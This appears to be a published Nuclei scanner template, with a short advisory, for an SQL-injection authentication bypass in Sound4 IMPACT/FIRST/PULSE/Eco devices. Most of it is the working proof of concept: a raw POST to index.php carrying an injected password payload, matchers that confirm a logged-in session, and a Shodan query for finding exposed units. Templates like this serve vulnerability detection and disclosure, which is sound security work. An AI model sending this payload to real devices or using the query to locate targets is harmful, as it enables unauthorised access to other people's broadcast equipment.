sound4-password-auth-bypass: Sound4 IMPACT/FIRST/PULSE/Eco <=2.x - Authentication Bypass

2025-08-01 Sound4 IMPACT FIRST PULSE Eco PoC Public

Description

The application suffers from an SQL Injection vulnerability. Input passed through the 'password' POST parameter in 'index.php' is not properly sanitised before being returned to the user or used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code and bypass the authentication mechanism.

PoC

id: sound4-password-auth-bypass

info:
  name: Sound4 IMPACT/FIRST/PULSE/Eco <=2.x - Authentication Bypass
  author: r3Y3r53
  severity: high
  description: |
    The application suffers from an SQL Injection vulnerability. Input passed through the 'password' POST parameter in 'index.php' is not properly sanitised before being returned to the user or used in SQL queries. This can be exploited to manipulate SQL queries by injecting arbitrary SQL code and bypass the authentication mechanism.
  reference:
    - https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5727.php
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.html:"SOUND4"
  tags: sound4,auth-bypass,sqli,misconfig,vuln

http:
  - raw:
      - |
        POST /index.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=test&password=%27%2Bjoxy--%2Bz

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "SOUND4 PULSE", "Network Diagnostic", "Disconnect")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022100cba155198ad40530ea30915f9d51f744bc63fa33acfa775161408d07317294660220483b52b874e3d1963374ff6125b4196fc96f3b82ecb69f72cfcb5f6162a17997:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/other/sound4-impact-password-auth-bypass.yaml

References

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